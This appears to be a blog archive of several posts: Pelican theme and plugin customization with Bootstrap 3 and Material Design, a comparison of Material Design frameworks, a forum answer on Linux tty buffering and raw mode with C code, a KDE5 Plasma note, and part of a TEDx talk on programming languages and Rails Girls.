上篇 博文 就總結了我爲了這個博客尋找了一堆 CSS 框架,並且最終決定用 bootstrap-material-design , DandyDev/pelican-bootstrap3 和 Bootstrap 3 這三個項目結合的方式實現這個模板的主題。 這三個項目都或多或少經過了我的修改,修改後的項目以 pelican-bootstrap3 爲基礎放在 這裏 ,包括 Bootstrap3 樣式 和 Material 樣式。
由於架構完善,修改 Bootstrap 3 感覺非常簡單。另一方面我在 Web 前端技術上的技能點也不多, 所以修改的地方非常有限,只能按我自己的需求定製而已。
@screen-xs: 320px;
@screen-sm: 598px; /* 768px; */
@screen-md: 952px; /* 992px; */
@screen-lg: 1350px; /* 1200px; */
@screen-xl: 2030px;
@container-sm: 582px; /* 750px; */
@container-md: 930px; /* 970px; */
@container-lg: 1320px; /* 1170px; */
@container-xl: 1990px;
首先把 Bootstrap 3 默認適配的幾個 響應式設備的大小
改成了我需要的大小。
xs
和
sm
的大小分別按照我的手機屏幕 豎屏 和
橫屏 時候的瀏覽器頁面寬度來算,
md
是想兼容 Nexus 7 橫屏 960 的寬度以及
一個常見上網本 1024 的寬度。
lg
的大小則按照常見的筆記本 1366 寬的屏幕來適配。
這裏 Bootstrap 3 支持的設備大小的一個問題是,它最多考慮到 1200 像素寬的顯示器,而更寬的
比如 1600、 2048 甚至 2560 像素寬的顯示器現在也並不少見,其結果就是頁面中左右兩側
有很大的空間被浪費掉了。作爲深受這一問題困擾的用戶之一,我用
這裏介紹的方法
給 bootstrap 增加了一類「 比大更大(bigger than bigger) 」的
xl
響應式設備尺寸,寬度設爲支持 2048 像素寬的顯示器,具體的修改反映在
variables.less
文件裏。
接下來目標是讓主頁的文章列表像 Google+ 主頁那樣根據顯示器寬度自動調整分欄,使得寬度不同的 顯示器上每個分欄的寬度接近。想要達到的效果是,根據上面定義的屏幕寬度尺寸:
xs
用單欄 流動(fluid) 佈局 |
sm
用上方單欄文章列表、下方雙欄 側邊欄(sidebar) 固定佈局 |
md
用單欄文章列表、單欄 側邊欄 固定佈局 |
|||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||
lg
用雙欄文章列表、單欄 側邊欄 固定佈局 |
xl
用三欄文章列表、雙欄 側邊欄 固定佈局 |
||||||||||||||||||||||||||||||
|
|
一開始純粹用 Bootstrap3 的響應式柵格實現這個分欄佈局,結果發現效果不太理想, 因爲文章列表和側邊欄的高度是變化的,會導致柵格間留下大片空白。後來改用 這裏示範的純CSS瀑布式佈局 實現文章和側邊欄的佈局,具體的實現代碼在 waterfall.less ,總算達到了想要的佈局了。
最最重要的是文章正文的樣式。這裏我想要達到的效果是,在大屏幕上用更大的字號,讓讀者
看起來更舒適,同時在小屏幕上用比較小的字號,最終保證基本上「一行」的文字數接近。這個修改
主要針對
.jumbotron
,
用了 不太科學的方式
代碼太長就不貼全了。
把主題配色改成了現在這樣的淡紫色
@brand-primary: darken(#6B5594, 6.5%);
,配合我的頭像風格, 這個修改只需要一行。
接着刪掉了
.btn
的
white-space: nowrap;
讓按鈕的文字可以換行,
這也只是一行修改。
另外我也不太喜歡 Bootstrap 3 默認在手機上的 摺疊導航欄(collapsed navbar) ,
摺疊之後的操作不夠直觀方便而且依賴 javascript 所以有 bug …… 於是我把它關掉了,
具體方式是在 variables.less 把
@grid-float-breakpoint
和
@grid-float-breakpoint-max
都設爲0就可以了。
這裏定製的地方不多。原樣式中一個不太科學的做法是所有
.btn
都強制加上了陰影
效果,這在已經有陰影的環境裏用的話非常礙眼,像是 Win9x 風格的厚重睫毛膏。既然可以單獨
給每個樣式加陰影,於是就把
.btn
強制的陰影去掉了,只保留鼠標懸停之後強調的陰影。
其它定製的細節麼就是統一配色風格,修補漏洞錯誤,微調響應式效果而已,這裏不細說。
顯示源代碼按鈕借用了 Pelican 配置中自帶的
OUTPUT_SOURCES
選項將源文件複製到輸出文件夾:
OUTPUT_SOURCES = True
OUTPUT_SOURCES_EXTENSION = '.rst'
然後在 Makefile 裏用 pygmentize 把所有源代碼文件着色:
find -iname "*.rst" | parallel -I@ pygmentize -f html -o @.html @
最後在按鈕按下的時候用 jQuery 載入源代碼:
<a onclick="$.get('{{SITEURL}}/{{article.slug}}.rst.html', function(data){$('#source-code').html(data)});$('#article-content').toggle();$('#source-content').toggle();">
雖然難看的 hack 比較多,但是能用!
雖說 pelican-bootstrap3 是我 fork 出來的,不過由於我修改的地方實在太多,代碼看來基本上 接近重寫了一份。好在之前有給 pelican 寫 bootstrap 2 主題的經驗,這次修改算得上駕輕就熟。 可以對比一下 上游作者的博客 和這裏的樣子體會一下感覺。 具體修改過的地方包括:
modal
實現。先列舉一下我目前用到的所有插件:
PLUGINS = ["i18n_subsites",
"plantuml",
"youku",
"youtube",
'tipue_search',
'neighbors',
'series',
'bootstrapify',
'twitter_bootstrap_rst_directives',
"render_math",
'extract_toc',
'summary']
嗯其實不算多。接下來逐一介紹一下這些各具特色的插件。
這個插件的目的是創建 國際化(internationalization) 子站(subsite) 。
之前介紹 Pelican 配置的時候就提到過,
原本的 Pelican 就支持一篇文章用多種語言書寫,有
lang
屬性註明這篇文章使用的
語言,以及
slug
屬性註明多語言的翻譯之間的關聯,換句話說同一篇文章的多個語言
版本應該有相同的
slug
和不同的
lang
。然後原本 Pelican 裏對多語言的
實現方式是,首先有一個 主語言 是模板和大部分文章採用的語言,文章列表中會優先列出
用 主語言 撰寫的文章,然後從 主語言 的文章鏈接到別的翻譯版本。
很多博客系統和CMS對多語言的支持都是這樣的,這種處理方式的缺點也顯而易見:作爲 主語言
的語言必須足夠通用,纔能讓進來的人找到合適的翻譯版本,所以通常 主語言 都是英語。
而這個插件做的事情描述起來很簡單:將文章按語言屬性分到多個子站,每個子站獨立放在各自的文件夾。 比如主站是 https://farseerfc.github.io/ 的話,那麼英語的子站就可以是 https://farseerfc.github.io/en/ 。 然後分別對多個子站生成靜態頁面。具體的實現方式是對 pelican 的頁面生成步驟做了拆分:
雖然描述起來簡單,但是這個插件可以說最大化利用了 Pelican 的插件系統,實現細節相對比較 複雜,大概是我用的這些插件裏面最複雜的了。不誇張的說 Pelican 3.4 支持的新插件 API 和 站內鏈接功能基本上就是爲了配合這個插件的。至於具體它會覆蓋哪些 Pelican 的配置,請參閱它的 README.md文件 。
按內容拆分多語言子站的做法只解決了問題的一半,還留下另一半的問題,也即對模板的翻譯。 對這個問題, i18n-subsites 提供了兩套方案供選擇:
這裏我用 jinja2 的 i18n 插件的方式實現了模板的翻譯, 各個語言的翻譯在這裏 , 然後用 這裏的 SCons 腳本 根據內容是否變化自動更新 po 和 mo 文件。
配置好這一套方案之後,還要注意在模板和文章中處理好鏈接。用 Pelican 3.4 之後推薦的
新的文章間鏈接的寫法以及將
SITEURL
設置爲實際 URL 並且關閉
RELATIVE_URLS
之後,應該就不會出沒什麼問題了(可能還要考慮使用的模板和插件的兼容性,大部分都是寫死了 URL 的問題)。
PlantUML 是一個Java實現的,
用接近文字描述的語言繪製 UML 圖或者 GUI 界面圖的工具,非常適合嵌入在
Markdown、 reStructuredText、 AsciiDoc 等這種輕量級標記語言裏。
然後麼這個 plantuml 插件就是定義了一個新的 reStructuredText
指示符(directive)
.. uml::
,把嵌入的內容提取出來調用 plantuml 命令處理
成圖像然後再插入到文章中。
比如示例裏的這個 UML 圖就是用這樣一段簡單的文字描述生成的:
.. uml::
Object <|-- ArrayList
Object : equals()
ArrayList : Object[] elementData
ArrayList : size()
實際用起來這個插件實現上稍微有點小問題:首先它只支持 python2,所以我把它改寫成了 python 2 和 3 都通用的語法;其次它原本輸出的文件夾似乎會被 pelican 刪掉,所以把它改了個位置; 然後它輸出的 URL 也和 i18n-subsites 插件間有不兼容的問題,也順帶修掉了。 修改之後的代碼在這裏 。
plantuml 是繪製UML的,除此之外還有一個類似的工具是繪製一般的 流程圖(diagram) 的,叫 ditaa ,和 plantuml 非常像,也比較像 reStructuredText 的表格。 於是我也照貓畫虎實現了一個 ditaa 的 指示符(directive) ,用起來類似這樣:
.. ditaa::
+-------------+
| ditaa |-------+
| Diagram | |
+-------------+ | PNG out
^ |
| ditaa in |
| v
+--------+ +--------+----+ /----------------\
| | --+ Pelican +--> | |
| Text | +-------------+ | Beautiful Blog |
|Document| | !magic! | | |
| {d}| | | | |
+---+----+ +-------------+ \----------------/
: ^
| Lots of work |
+-----------------------------------+
示範行內公式 \(A_\text{c} = (\pi/4) d^2\).
整行公式
這個插件提供在 reStructuredText 中用 LaTeX 語法插入數學公式的能力,定義了
:math:
行內角色(role) 和
.. math::
指示符(directive) 。
實際工作的渲染庫當然是大名鼎鼎的 MathJax ,這個插件
會用 MathJax 的 CDN 載入,所以也沒有額外的依賴文件。(只是不知道是否會被國內牆掉,
如果公式顯示不正常請 務必 告訴我。)
顧名思義,這兩個插件分別實現嵌入 youtube 和 youku 視頻。其中 youtube 是原本就有的插件, youku 是我照貓畫虎抄的。 之前寫了一篇 KDE5 Plasma 之跳動賣萌的活動按鈕 用到了這兩個插件。
Tipue search 是一個非常有意思也很強大的搜索工具, 通過 jQuery 實現靜態博客的站內搜索功能。實現方式是,它需要你寫一個 json 文件,包含 整個網站的 全部 文章的標題和文字內容,然後在搜索的時候讀入這個 json 做搜索(是不是有點耍賴)。 雖然聽起來會有性能問題,但是應用在小型的靜態博客上效果意外很不錯,比如本站的所有文章內容 放在一起的 json 也只有 300KiB 左右。
這個插件就是自動在 pelican 輸出完全部靜態網頁之後,調用 beautifulsoup4 從所有網頁中抽取出 純文本,產生這個 json 給 Tipue 用。
這兩個插件比較類似也都比較簡單, neighbors 提供一篇文章的前後文章信息, 在主題模板裏可以用來製作 上一篇 和 下一篇 按鈕。 series 提供將多篇文章歸類爲一個 系列 的支持,當然也需要在 主題模板中定義顯示「文章系列」的列表。這兩個插件的效果都能在本文末尾,評論區上方的部分看到。
這兩個插件讓文章的 正文 套用上 Bootstrap 的樣式。
bootstrapify 這個插件實現得比較簡單,用 beautifulsoup4 在靜態網頁的結果裏面過濾元素,
對
table
,
img
,
embed
,
iframe
,
video
,
object
這幾個標籤套用上
響應式嵌入對象的類
讓他們更美觀。
twitter_bootstrap_rst_directives 這個插件則是增加了幾個 reStructuredText 的
行內角色(role) 和 指示符(directive) 。
它實現的 行內角色(role) 包括:
用
:kbd:
實現如
Ctrl+C
這樣的鍵盤快捷鍵,
用
:code:
嵌入代碼片段,用
:glyph:
嵌入字符圖標。
它實現的 指示符(directive) 包括:
labels 行內標籤 ,
alerts 提示段落 ,
panels 嵌入面板 ,
以及還有一個 media 混排圖標 。
對其中的
panel
我改寫了它在文章正文中的樣式,在
lg
或者
xl
的屏幕寬度下,分別用 \(\frac{1}{2}\) 和 \(\frac{1}{3}\) 大小的嵌入面板,
簡單實現和正文文字的圖文混排。
除此以外我還在 twitter_bootstrap_rst_directives 這個插件裏套用它的框架實現了兩個額外
的 行內角色(role) , 分別是
:ruby:
:通過 html5 的
<ruby>
標籤實現文字上方的注音(firefox下
不支持
,會使用文字後的括號顯示), 以及
:html:
:在
行內插入 裸(raw) html 標籤(這屬於 Markdown 的基本功能,在 reStructuredText
這邊由於要考慮多種輸出格式於是就比較麻煩了)。這兩個 行內角色(role) 的
實現代碼在這裏 。
今天又在 twitter_bootstrap_rst_directives 裏增加了兩個 行內角色(role) 。
一個是
:twi:
用來寫 twitter 用戶的鏈接,比如 @farseerfc ,另一個是
:irc:
用來指向 freenode 的 channel ,比如 #yssyd3 。
今天增加了
.. friend::
用來寫好友鏈接,以及
fref
用來引用好友,
比如 LQYMGT 這樣。
最後是這兩個有點「名不副實」的插件。
reStructuredText 原本就有自動生成
目錄(toc) 的功能,用起來也非常簡單,只需要在想要插入目錄的地方寫一行
.. contents::
,剩下的都由 docutils 自動生成了。
只是當然這樣生成的目錄肯定會插入在文章的正文裏,而 extract_toc 這個插件的作用就是簡單地
把這個目錄抽取出來,讓模板能在別的地方放置這個目錄。比如我這裏就把目錄放在了一個
panel
裏。
然後 Pelican 也原本就有從文章中抽取 總結(summary) 顯示在文章列表的功能。 Pelican 原始的實現似乎是按照文字數抽取前半段,不總是適合作爲總結。 於是這個 summary 插件的作用其實是允許在正文中以特殊的註釋的方式標註哪些部分應該被抽出來作爲總結。 summary 這個插件原本的實現只允許抽取一段文字,我又對它的實現做了少許擴充,允許標註多段 文字合併起來作爲總結。
今天在 extract_toc 插件的幫助下,在側邊欄裏放了一個 Bootstrap affix 的目錄, 它保持在頁面的右側位置不變,方便導航到文章的各個地方。具體實現方法除了 Bootstrap 3 的 Affix 文檔 ,還參考了 這篇更詳細的說明 。
這個博客的配置都可以在 github 上找到 ,包括用來 自動生成整個博客的 Makefile ,由於比較長,這裏就不再貼了。
折騰這個主題前後歷時兩個月,期間學會了不少東西,也算是不錯的收穫吧。 現在既然基礎打好了,接下來就要開始多寫博客了。(希望拖延症不會再犯……)
最近發現除了我的博客之外還有一個網站 Kansas Linux Fest fork 了我的主題,不過他們用了我修改的早期版本,還是原本的 Bootstrap 3 和 bootstrap-material-design 樣式。自己草草修改的東西被別人用到果然還是有點小激動呢, 以及接下來不能馬馬虎虎地寫 commit 消息了。
[1] | 賽65:17「看哪!我造新天新地」啟21:5「我將一切都更新了。」 |
現在這裏的界面風格要從 Google 在 I/O 2014 大會 上公佈Android L 也即 後來的 Lollipop 說起。 他們在談論界面設計的時候公佈了他們的 設計準則: Material Design (中文非官方翻譯 )。 當然這只是一些準則,總結並描述了之前在 Web 設計和移動端 App 界面設計方面的一些規範, 並且用材料的類比來形象化的比喻這個準則。關於 Material Design 的更多中文資料可 參考這裏 。
看到 Material Design 之後就覺得這個設計風格非常符合直覺,於是想在這邊也用上 Material Design。 但是我在 Web 前端科技樹上沒點多少技能點,所以想找找別人實現好的模板 或者框架直接套用上。在網絡上搜索數日找到了這幾個:
Google 官方提供的參考實現應該是 Polymer 中的 Paper Elements 。
由於是 官方參考實現 ,這個框架的確非常忠實地實現了 Material Design 的設計,但是同時 由於它基於 HTML5 Web Components 構建,相關技術我還 不太懂,瀏覽器兼容性和其餘 HTML 技術的兼容性也還不太完善的樣子……
並且對於我這個 Web 開發的半吊子來說,Polymer 只是提供了一組設計組建,沒有完善的 響應式 (responsive) 佈局支持,也沒有 Navbar 這種常見的框架組建,真的要用起來的話還 需要手工實現不少東西。於是口水了半天之後只好放棄……以後可能真的會換用這個,只是目前需要學 的東西太多了。
AngularJS 是 Google 對 Web Components 技術的另一個 嘗試。而這額 Angular Material Design 項目 就是基於 AngularJS 構建的Material Design 庫啦,同樣是 Google 出品所以應該算得上半個 官方實現吧。 相比於 Polymer, AngularJS 算是實用了很多,提供了基於 CSS Flexbox 的佈局。有人對這兩者的評價是, 如果說 Polymer 代表了 未來趨勢 ,那麼 AngularJS 就是 眼下可用 的 Web Components 實現了。
只不過同樣是因爲它是 Components 的框架,對 WebApp 的支持很豐富,大量採用 Ajax 等 JavaScript 技術, 對於我這個靜態博客來說仍然稍顯高級了……非常擔心還不支持 HTML5 的瀏覽器 比如 w3m 甚至 cURL 對它的支持程度。 於是最終也沒有使用它。
Materialize 這是一批(自稱?)熟悉 Android 上 Material Design 的設計師們新近出爐的框架,試圖提供一個接近 Bootstrap 的方案。 最早是在 Reddit 上看到對它的討論的,立刻覺得這個想法不錯。
體驗一下官網的設計就可以看出,他們的動畫效果非常接近 Polymer 的感覺,響應式設計的佈局 也還不錯。 只是同樣體驗一下他們現在的官網就可以看出,他們目前的 bug 還比較多 ,甚至一些 bug 在他們自己的主頁上也有顯現。 雖然不想給這個新出爐的項目潑涼水,不過看來要達到他們聲稱的接近 Bootstrap 的易用度還任重而道遠……
這是我最終選擇的方案。這個方案將三個項目組合在了一起,分別是 bootstrap-material-design , pelican-bootstrap3 和 Bootstrap 3 。 Bootstrap 3 想必不用再介紹了,很多網站都在使用這套框架,定製性很高。 bootstrap-material-design 是在 Bootstrap 3 的基礎上套用 Material Design 風格 製作的一套 CSS 庫,當然也不是很完善並且在不斷改進中,一些細節其實並不是很符合我的要求。 最後 pelican-bootstrap3 是用 Bootstrap 3 做的 pelican 模板。 這三個項目或多或少都有點不合我的口味,於是嘛就把 pelican-bootstrap3 fork了一套放在 這裏 ,其中還包括我自己改 過的 Bootstrap3 樣式 和 Material 樣式 ,需要的可以自取。
至於細節上我定製了哪些地方,敬請聽下回分解……
這篇也是源自於水源C板上板友的一個問題,涉及Linux上的控制檯的實現方式和歷史原因。因爲內容比較長,所以在這裏再排版一下發出來。 原帖在這裏 。
WaterElement(UnChanged) 於 2014年12月09日23:29:51 星期二 問到:
請問對於標準輸入流可以設置不帶緩衝嗎?比如以下程序
#include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fp = fdopen(STDIN_FILENO, "r"); setvbuf(fp, NULL, _IONBF, 0); char buffer[20]; buffer[0] = 0; fgets(buffer, 20, fp); printf("buffer is:%s", buffer); return 0; }似乎還是需要在命令行輸入後按回車纔會讓
fgets
返回,不帶緩衝究竟體現在哪裏?
再講細節一點,這裏有很多個程序和設備。以下按 linux 的情況講:
標準庫說的輸入緩存是在 4 的這一步進行的。而行輸入是在 3 的這一步被緩存起來的。
終端pty有多種狀態,一般控制檯程序所在的狀態叫「回顯行緩存」狀態,這個狀態的意思是:
參考: http://en.wikipedia.org/wiki/Cooked_mode
同時在Linux/Unix下可以發特殊控制符號給pty讓它進入「raw」狀態,這種狀態下按鍵 不會被回顯,顯示什麼內容都靠你程序自己控制。 如果你想得到每一個按鍵事件需要用raw狀態,這需要自己控制回顯自己處理緩衝, 簡單點的方法是用 readline 這樣的庫(基本就是「回顯行緩存」的高級擴展,支持了 Home/End,支持歷史)或者 ncurses 這樣的庫(在raw狀態下實現了一個簡單的窗口/ 事件處理框架)。
參考: http://en.wikipedia.org/wiki/POSIX_terminal_interface#History
除此之外, Ctrl-C 轉換到 SIGINT , Ctrl-D 轉換到 EOF 這種也是在 3 這一步做的。
以及,有些終端模擬器提供的 Ctrl-Shift-C 表示複製這種是在 2 這一步做的。
以上是 Linux/unix 的方式。 Windows的情況大體類似,只是細節上有很多地方不一樣:
Windows上同樣有類似行緩存模式和raw模式的區別,只不過實現細節不太一樣。
WaterElement(UnChanged) 於 2014年12月10日21:53:54 星期三 回復:
感謝FC的詳盡解答。
用strace查看了下,設置標準輸入沒有緩存的話讀每個字符都會調用一次
read
系統調用, 比如輸入abc:read(0, abc "a", 1) = 1 read(0, "b", 1) = 1 read(0, "c", 1) = 1 read(0, "\n", 1) = 1如果有緩存的話就只調用一次了
read
系統調用了:read(0, abc "abc\n", 1024) = 4
沒錯,這個是你的進程內C庫做的緩存,tty屬於字符設備所以是一個一個字符塞給你的 程序的。
如果想感受一下 raw mode 可以試試下面這段程序(沒有檢測錯誤返回值)
#include <stdio.h>
#include <unistd.h>
#include <termios.h>
static int ttyfd = STDIN_FILENO;
static struct termios orig_termios;
/* reset tty - useful also for restoring the terminal when this process
wishes to temporarily relinquish the tty
*/
int tty_reset(void){
/* flush and reset */
if (tcsetattr(ttyfd,TCSAFLUSH,&orig_termios) < 0) return -1;
return 0;
}
/* put terminal in raw mode - see termio(7I) for modes */
void tty_raw(void)
{
struct termios raw;
raw = orig_termios; /* copy original and then modify below */
/* input modes - clear indicated ones giving: no break, no CR to NL,
no parity check, no strip char, no start/stop output (sic) control */
raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);
/* output modes - clear giving: no post processing such as NL to CR+NL */
raw.c_oflag &= ~(OPOST);
/* control modes - set 8 bit chars */
raw.c_cflag |= (CS8);
/* local modes - clear giving: echoing off, canonical off (no erase with
backspace, ^U,...), no extended functions, no signal chars (^Z,^C) */
raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);
/* control chars - set return condition: min number of bytes and timer */
raw.c_cc[VMIN] = 5; raw.c_cc[VTIME] = 8; /* after 5 bytes or .8 seconds
after first byte seen */
raw.c_cc[VMIN] = 0; raw.c_cc[VTIME] = 0; /* immediate - anything */
raw.c_cc[VMIN] = 2; raw.c_cc[VTIME] = 0; /* after two bytes, no timer */
raw.c_cc[VMIN] = 0; raw.c_cc[VTIME] = 8; /* after a byte or .8 seconds */
/* put terminal in raw mode after flushing */
tcsetattr(ttyfd,TCSAFLUSH,&raw);
}
int main(int argc, char *argv[]) {
atexit(tty_reset);
tty_raw();
FILE *fp = fdopen(ttyfd, "r");
setvbuf(fp, NULL, _IONBF, 0);
char buffer[20];
buffer[0] = 0;
fgets(buffer, 20, fp);
printf("buffer is:%s", buffer);
return 0;
}
vander(大青蛙) 於 2014年12月12日08:52:20 星期五 問到:
學習了!
進一步想請教一下fc大神。如果我在Linux上做終端上的字符編程,是否除了用ncurses庫 之外,也可以不用該庫而直接與終端打交道,就是你所說的直接在raw模式? 另外,終端類型vt100和linux的差別在哪裏?爲什麼Kevin Boone的KBox配置手冊裏面說必 須把終端類型設成linux,而且要加上terminfo文件,才能讓終端上的vim正常工作?term info文件又是幹什麼的?
嗯理論上可以不用 ncurses 庫直接在 raw 模式操縱終端。
這裏稍微聊一下terminfo/termcap的歷史,詳細的歷史和吐槽參考 Unix hater's Handbook 第6章 Terminal Insanity。
首先一個真正意義上的終端就是一個輸入設備(通常是鍵盤)加上一個輸出設備(打印 機或者顯示器)。很顯然不同的終端的能力不同,比如如果輸出設備是打印機的話,顯 示出來的字符就不能刪掉了(但是能覆蓋),而且輸出了一行之後就不能回到那一行了 。再比如顯示器終端有的支持粗體和下劃線,有的支持顏色,而有的什麼都不支持。 早期Unix工作在電傳打字機(TeleTYpe)終端上,後來Unix被port到越來越多的機器上 ,然後越來越多類型的終端會被連到Unix上,很可能同一臺Unix主機連了多個不同類型 的終端。由於是不同廠商提供的不同的終端,能力各有不同,自然控制他們工作的方式 也是不一樣的。所有終端都支持回顯行編輯模式,所以一般的面向行的程序還比較好寫 ,但是那時候要撰寫支持所有終端的「全屏」程序就非常痛苦,這種情況就像現在瀏覽 器沒有統一標準下寫HTML要測試各種瀏覽器兼容性一樣。 通常的做法是
水源的代碼源頭 Firebird2000 就是那樣的一個程序,只支持固定大小的vt102終端。
這時有一個劃時代意義的程序出現了,就是 vi,試圖要做到「全屏可視化編輯」。這在 現在看起來很簡單,但是在當時基本是天方夜譚。 vi 的做法是提出一層抽象,記錄它所需要的所有終端操作,然後有一個終端類型數據庫 ,把那些操作映射到終端類型的具體指令上。當然並不是所有操作在所有終端類型上都 支持,所以會有一堆 fallback,比如要「強調」某段文字,在彩色終端上可能 fallback 到紅色,在黑白終端上可能 fallback 到粗體。
vi 一出現大家都覺得好頂讚,然後想要寫更多類似 vi 這樣的全屏程序。然後 vi 的作 者就把終端抽象的這部分數據庫放出來形成一個單獨的項目,叫 termcap (Terminal Capibility),對應的描述終端的數據庫就是 termcap 格式。然後 termcap 只是一個 數據庫(所以無狀態)還不夠方便易用,所以後來又有人用 termcap 實現了 curses 。
再後來大家用 curses/termcap 的時候漸漸發現這個數據庫有一點不足:它是爲 vi 設 計的,所以只實現了 vi 需要的那部分終端能力。然後對它改進的努力就形成了新的 terminfo 數據庫和 pcurses 和後來的 ncurses 。 然後 VIM 出現了自然也用 terminfo 實現這部分終端操作。
然後麼就是 X 出現了, xterm 出現了,大家都用顯示器了,然後 xterm 爲了兼容各種 老程序加入了各種老終端的模擬模式。不過因爲最普及的終端是 vt100 所以 xterm 默 認是工作在兼容 vt100 的模式下。然後接下來各種新程序(偷懶不用*curses的那些) 都以 xterm/vt100 的方式寫。
嗯到此爲止是 Unix 世界的黑歷史。
知道這段歷史的話就可以明白爲什麼需要 TERM 變量配合 terminfo 數據庫纔能用一些 Unix 下的全屏程序了。類比一下的話這就是現代瀏覽器的 user-agent。
然後話題回到 Linux 。 大家知道 Linux 早期代碼不是一個 OS, 而是 Linus 大神想 在他的嶄新蹭亮的 386-PC 上遠程登錄他學校的 Unix 主機,接收郵件和逛水源(咳咳 )。於是 Linux 最早的那部分代碼並不是一個通用 OS 而只是一個 bootloader 加一個 終端模擬器。所以現在 Linux 內核裏還留有他當年實現的終端模擬器的部分代碼,而這 個終端模擬器的終端類型就是 linux 啦。然後他當時是爲了逛水源嘛所以 linux 終端 基本上是 vt102 的一個接近完整子集。
說到這裏脈絡大概應該清晰了, xterm終端類型基本模擬 vt100,linux終端類型基本模 擬 vt102。這兩個的區別其實很細微,都是同一個廠商的兩代產品嘛。有差別的地方差 不多就是 Home / End / PageUp / PageDown / Delete 這些不在 ASCII 控制字符表裏的按鍵的映射關係不同。
嗯這也就解釋了爲什麼在linux環境的圖形界面的終端裏 telnet 上水源的話,上面這些 按鍵會錯亂…… 如果設置終端類型是 linux/vt102 的話就不會亂了。在 linux 的 TTY 裏 telnet 也不會亂的樣子。
寫到這裏纔發現貌似有點長…… 總之可以參考 Unix hater's Handbook 裏的相關歷史評論和吐槽,那一段非常有意思。
今天嘗試 KDE5 Plasma 的活動的時候無意間發現這個現象。 只要把活動按鈕拖出桌面,它就會在桌面邊緣來回跳動。 視頻如下:
當然你可以把它再拖回來,所以這個問題還無傷大雅,只是賣萌。
比比之前 Gnome3 那個跳動的界面真是好太多了:
順便,今天還看到一個賣萌的 KDE5 Plasma 靜音圖標的翻譯:
KDE5のミュート画面の中国語翻訳、「静音」のはずだが「镜音」になっている。Vocaloidファンのネタだか、単なる入力ミスだか分からない。 pic.twitter.com/ipyHjXMscR
— Jiachen YANG (@farseerfc) 2014 12月 8日
(My talk at TEDxTaipei at 2014-04-27, before a panel with Linda Liukas, Matz and Charles Nutter. Slides in Chinese. 逐字稿中文版.)
Thanks, Linda, for sharing your fascinating story.
As my talk is about "Programming Languages and RailsGirls.tw", I'd like to start with a few stories of programming languages.
As we know, Rails is built on the Ruby language. Matz created Ruby by blending his five favorite languages together: Ada, Eiffel, Lisp, Perl, and Smalltalk.
I cannot cover all of them in a 20-minute talk, so let us start with Ada. Ada comes first in this list not only because its name starts with an "A", but also because it was named after Ada Lovelace, the world's first computer programmer.
In 1842, Ada wrote this program for the Analytical Engine, the first general-purpose computer ever designed but not constructed until a century later. Ada was also the first to realize that computers are not limited to work with numbers; she envisioned that people would compose music and create art on a computer.
Ada's mother was Annabella, a gifted scholar of mathematics. Ada's father, the great Romantic poet Byron, nicknamed his wife the "princess of parallelograms" because of her strict morality with a mathematical rigor.
And indeed, the art of computer programming is a blend of mathematics and poetry. Like a mathematical formula, good programs are rigorous and correct. Programmers, however, work like poets — we are creative with our languages, we convey a sense of purpose in a concise way, and we inspire each other to carry on our work.
As Professor Dijkstra put it: "Besides a mathematical inclination, an exceptionally good mastery of one's native tongue is the most vital asset of a competent programmer."
Both mathematicians and poets require a coherent vision to guide their work. The same principle applies to professional programming: Without a coherent vision and design integrity, sloppy programs quickly become unmaintainable, such that any attempts to fix a bug will introduce more bugs.
However, professional programming is not the only kind of programming, or even the most popular one. For nearly twenty years, the most well-known language on the web has been JavaScript, a "scripting language" that's easy to start with, but that also makes it very easy to write sloppy programs with a lot of bugs.
The distinction between scripting and programming languages dates back to the 1970s, with the introduction of the C language, a portable language that runs on almost any computer. Computer scientists in Bell Labs wrote hundreds of programs in C that worked together as a complex operating system, and they called it Unix.
Users of the Unix system were not expected to program in C. Instead they wrote "shell scripts" that were simple to write — mostly just a list of commands — but very difficult to maintain once they got complex.
Throughout the 1980s, the worldview was that there were programs written in complex and powerful languages like Objective-C and C++; and there were scripts written in simple but limited languages like sed and AWK.
The picture here is a linear spectrum with nothing in-between. If a script became too complex to maintain, people would just re-write it in a "real" programming language like C++.
In 1987, Larry Wall said, "We can open up this spectrum and turn it into a space with two dimensions." He saw C's strength as "Manipulexity", the ability to manipulate complexity, while shell scripts excel at "Whipuptitude", the ability to whip things up quickly.
Perl was hatched in this newfound space, as a language that could do a little bit of both, and one that evolves by redefining its own vocabulary. Over time, Perl evolved to be better at Whipuptitude than any shell scripts, and as good as C++ and Java at Manipulexity for all but the most complex programs.
With Perl, one could start with a sloppy script and, through "refactoring" techniques, gradually make it more rigorous and correct over time, without having to switch to a different language.
In the 1990s, a new generation of Perl-influenced languages appeared, such as Python, PHP, and Ruby. Each of them improved upon Perl toward their own domains; I consider Ruby the most flexible of the three.
In 2005, the Rails project combined Ruby on the server side and JavaScript on the client side into a full-stack web framework. For many people working with C++ or Java, Rails showed them for the first time that "scripting" languages can build web programs that are more complex, and of larger scale, than contemporary "programming" languages could.
Rails succeeded in part because of its use of meta-programming, which provided way to program the Ruby language itself into domain-specific languages such as ActiveRecord.
Since that time, popular frameworks such as jQuery and AngularJS have taken the same approach to JavaScript, allowing programmers to express our vision and design integrity with a re-programmed language that's much more rigorous and safe.
In the 2010s, Rails adopted CoffeeScript, a Ruby-like language that compiles into "the good parts" of JavaScript, to complement its use of the jQuery framework. This is an extension of the meta-programming idea — changing a language by keeping the best parts of it.
People in the Perl community took CoffeeScript to create the Coco language, and people in the Haskell community took Coco to create LiveScript. Nowadays, most of my programming is done in LiveScript, which allows me to express the same vision in a way that looks like Ruby, or looks like Perl, or looks like Haskell, whichever way that's most appropriate for the poem, er, program.
So those are my stories about Rails and programming languages. For the next half of my talk, I'd like to talk about the "Girls" part in Rails Girls.
In the first half of the 20th century, people working for women's rights have achieved a lot of legal victories, bringing equality in rights of voting, of education, of individual economy, of marriage and divorce to many people in the world.
However, this equality in law does not readily translate to equality in practice. As Simone de Beauvoir observed in 1949, many societies make women feel inferior not by law, but through the act of "Othering" in languages and in actions. Men are presumed as the default subject, and women are constantly reminded that they are the collective "Other" by the way they are treated, as a group different from the default.
In the 1970s, social workers and thinkers applied Simone's thoughts and observed various socially-constructed expectations known as gender roles. For example, a particular society may confine women into one of two primary roles: either as a Girl — an adorable object of desire, harmless and of inferior status; or as a Mother — a caretaker, provider of emotional support, and a reproductive agent.
